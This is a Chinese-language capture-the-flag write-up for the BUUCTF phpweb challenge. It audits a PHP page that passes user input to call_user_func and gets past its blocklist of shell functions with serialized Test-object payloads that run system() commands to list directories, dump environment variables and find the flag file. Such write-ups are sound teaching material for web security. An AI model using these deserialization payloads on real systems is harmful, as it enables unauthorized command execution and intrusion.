BUUCTF_[网鼎杯 2020 朱雀组]phpweb(反序列化绕过命令)

打开靶场,,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看页面源代码,没有什么有用的信息

Burp抓包一下

调用了date()函数并回显在页面上,参数func是函数名,p是参数值

func=date&p=Y-m-d+h%3Ai%3As+a

  • func=date :指定要调用的函数为 date 函数。date 是 PHP 中用于格式化本地日期和时间的内置函数。
  • p=Y-m-d+h%3Ai%3As+ap 是传递给 date 函数的参数,经过 URL 解码后为 Y-m-d h:i:s a,这是 date 函数使用的日期和时间格式字符串,具体含义如下:
    • Y:表示四位数的年份,例如 2025。
    • m:表示两位数的月份,范围从 01 到 12。
    • d:表示两位数的日期,范围从 01 到 31。
    • h:表示 12 小时制的小时数,范围从 01 到 12。
    • i:表示分钟数,范围从 00 到 59。
    • s:表示秒数,范围从 00 到 59。
    • a:表示上午或下午,值为 ampm

date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

1.查看是否回显

抓包修改参数,用简单的小写转换函数来验证是否有命令执行,回显为ab

func=strtolower&p=AB

  • func=strtolower :明确要调用的函数为 strtolower。在 PHP 里,strtolower 函数的作用是将字符串中的所有大写字母转换为小写字母。
  • p=AB :这是传递给 strtolower 函数的参数,也就是要进行转换操作的字符串

2.查看根目录,被过滤

用system()函数执行命令

func=system&p=ls

提示 Hacker... 被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

3.查看文件内容

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以,输入

func=file_get_contents&p=index.php

成功读取了index.php文件源码

php代码审计

复制代码
 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
1. 禁用函数列表
复制代码
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

定义了一个包含众多危险函数的数组 $disable_fun。这些函数可能被用于执行系统命令、读取文件内容、修改文件等操作,为防止恶意调用,将它们列入禁用名单。

2. gettime 函数
复制代码
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}

该函数接收两个参数 $func$p,使用 call_user_func 动态调用 $func 函数并传入参数 $p。之后检查返回结果的类型,若为字符串则返回结果,否则返回空字符串。

3. Test
复制代码
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

定义了 Test 类,包含两个属性 $p$func,分别初始化为日期格式字符串和 date 函数名。__destruct 是析构函数,当对象销毁时会调用 gettime 函数输出当前日期和时间。

4. 主逻辑
复制代码
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

从 HTTP 请求中获取 funcp 参数,将 func 转换为小写。若 func 不为空,检查其是否在禁用函数列表中。若不在,则调用 gettime 函数执行该函数并输出结果;若在,则终止脚本并输出 "Hacker..."

4.在funcp 参数内查看根目录

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

  • func=unserialize :指定要调用的函数为 unserializeunserialize 用于将序列化后的字符串反序列化为 PHP 对象或数组。
  • p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";} :这是传递给 unserialize 函数的参数,是一个序列化后的字符串。具体解析如下:
    • O:4:"Test":表示这是一个类名为 Test 的对象,类名长度为 4。
    • 2:表示该对象有 2 个属性。
    • s:1:"p";s:4:"ls /";:表示属性 p 的值为字符串 "ls /",这是一个 Linux 系统命令,用于列出根目录下的所有文件和文件夹。
    • s:4:"func";s:6:"system";:表示属性 func 的值为字符串 "system"system 是 PHP 中用于执行系统命令的危险函数。

回显了根目录下的文件,但是没有发现flag文件

5.查看一下环境变量env

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

发现not_flag 那么flag应该是藏在某个目录下

6.使用find命令查找flag

构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system"

发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

7.查看该文件,得到flag

func=readfile&p=/tmp/flagoefiu4r93

参考链接:网鼎杯 2020 朱雀组phpweb 详细题解(反序列化绕过命令执行)

相关推荐
古法安卓11 分钟前
Android-epoll原理详解
android·java·android studio
字节暗面2 小时前
四款 APP 加固强度测评:让 AI 拆了四个包,结果有点出乎意料
android·逆向工程·加固
网安蟹佬霸3 小时前
蓝队防御实战:SIEM与SOAR构建安全运营中心(万字详解+实战配置)
android·安全·web安全·网络安全·网安
敢敢のwings4 小时前
世界模型与FlashWorld:从“在梦中学习“到秒级3D场景生成
android·学习·3d
Dovis(誓平步青云)5 小时前
牛奶不能减成负数:冰箱库存的筛选、去重与不可变更新
android·java·开发语言
Awna5 小时前
MySQL 存储空间与索引运维实战:从空间排查到在线扩容
android·运维·mysql
智购科技无人售货机工厂5 小时前
2026自动售货机触摸屏驱动开发:从I2C协议到多点触控校准的工程实践~YH
android·驱动开发·python·单片机·云原生·django
又见情义6 小时前
RK3568 Android 13驱动适配-WiFi&BT模块(RTL8822CS)
android·arm开发·驱动开发
美狐美颜SDK开放平台6 小时前
直播APP源码如何实现美颜功能?视频美颜SDK开发方案详解
android·大数据·人工智能·计算机视觉·直播美颜sdk
pengyu6 小时前
【Kotlin 协程修仙录 · 化神境 · 后阶】 | 异常天劫:Flow 异常处理的终极奥义与重试之道
android·kotlin